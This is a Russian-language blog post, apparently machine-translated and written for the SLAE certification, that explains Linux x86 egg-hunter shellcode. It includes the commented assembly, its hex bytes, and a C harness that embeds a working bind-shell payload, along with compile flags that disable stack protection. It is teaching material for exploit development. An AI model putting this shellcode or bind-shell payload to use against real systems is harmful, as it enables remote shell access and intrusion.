Следующий пост представляет собой анализ шелл-кода охотника за яйцами для Linux x86. В посте рассматривается следующее:

  1. Объяснение шелл-кода охотника за яйцами с рабочей демонстрацией
  2. Объяснение того, как настроить различные полезные нагрузки

Шелл-код Egg Hunter сканирует виртуальное адресное пространство в поисках заранее заданного шаблона. Как только этот шаблон обнаружен, выполняются последующие инструкции в памяти, эти инструкции являются полезной нагрузкой эксплойта. Шелл-код Egg Hunter помогает решить проблему, когда есть уязвимость, которую можно использовать, однако место для шелл-кода ограничено и недостаточно для полной полезной нагрузки.

Чтобы шеллкод охотника за яйцами был эффективным, должен существовать альтернативный способ хранения полезной нагрузки в памяти. В качестве иллюстрации представьте себе программу командной строки foo. foo принимает два аргумента bar и baz. bar уязвим к переполнению стека, а baz — нет. bar ограничен вводом менее 50 байтов, тогда как baz может занимать более 100 байтов. Это прекрасная возможность для шелл-кода охотника за яйцами. bar можно использовать с шелл-кодом охотника за яйцами, а baz может хранить полезную нагрузку.

Чтобы полностью понять код скорлупы охотника за яйцами, настоятельно рекомендуется прочитать статью Мэтта Миллера, доступную здесь. Следующий демо-код взят из статьи Мэтта Миллера. В этой статье Мэтт описывает три различные реализации для Linux. Версия, представленная в этом посте, является реализацией. Шелл-код показан ниже с комментариями:

global _start
section .text
_start:
        mov ebx,0x50905090 ;our egg
        xor ecx, ecx ; zero edx
        mul ecx ;Doubleword EAX r/m32 EDX:EAX zeros eax and edx
inc_page:
        or dx, 0xfff ;4095
inc_mem:
        inc edx ;add 1 gives 4096 which is PAGE_SIZE
        pusha ;push registers
        lea ebx, [edx + 0x4]
        mov al, 0x21 ;access for soft-int on next instruction
        int 0x80
        cmp al, 0xf2 ;cmp if return value is equal to EFAULT (invalid memory)
        popa ;restore registers
        jz inc_page ;if invalid go to inc_page
        cmp [edx], ebx ;check if first 4 bytes are equal to egg
        jnz inc_mem ;if not go to inc_me
        cmp [edx + 0x4], ebx ;check if next 4 bytes are equal to egg
        jnz inc_mem ;if not go to inc_mem 
        jmp edx ;if all 8 bytes are equal to egg we found our shell       code so jmp to it

Код оболочки охотника за яйцами готов, поэтому соберите и свяжите:

nasm -f elf32 -o egg_hunter.o egg_hunter.nasm
ld -z execstack -o egg_hunter egg_hunter.o

Шестнадцатеричный код оболочки egghunter:

\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2

Чтобы имитировать вариант использования охотника за яйцами, код C для тестирования шелл-кода должен быть немного изменен, как показано ниже:

#include <stdio.h>
#include <string.h>
//shellcode.c
unsigned char egghunter[]= \
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char code[] = \
/** egg **/
"\x90\x50\x90\x50\x90\x50\x90\x50"
/*bind shell code from assignment 1. INSERT ANY PAYLOAD AFTER THIS COMMENT*/
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb3\x04\x6a\x01\x56\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x52\x52\x56\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x89\xd1\xb0\x3f\xcd\x80\xb1\x01\xb0\x3f\xcd\x80\xb1\x02\xb0\x3f\xcd\x80\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
        printf("Egghunter Length:  %d\n", strlen(egghunter));
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())egghunter;
        ret();
}

Скомпилируйте файл shellcode.c:

gcc -fno-stack-protector -z execstack shellcode.c -o shell

Затем запустите охотник за яйцами и подключитесь!

Чтобы настроить различные полезные нагрузки, просто поместите свой собственный шеллкод после комментария, указанного в файле шеллкод.c.

Репозиторий Git: https://github.com/bopearce/slae

Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/< br /> студенческий билет: SLAE-1194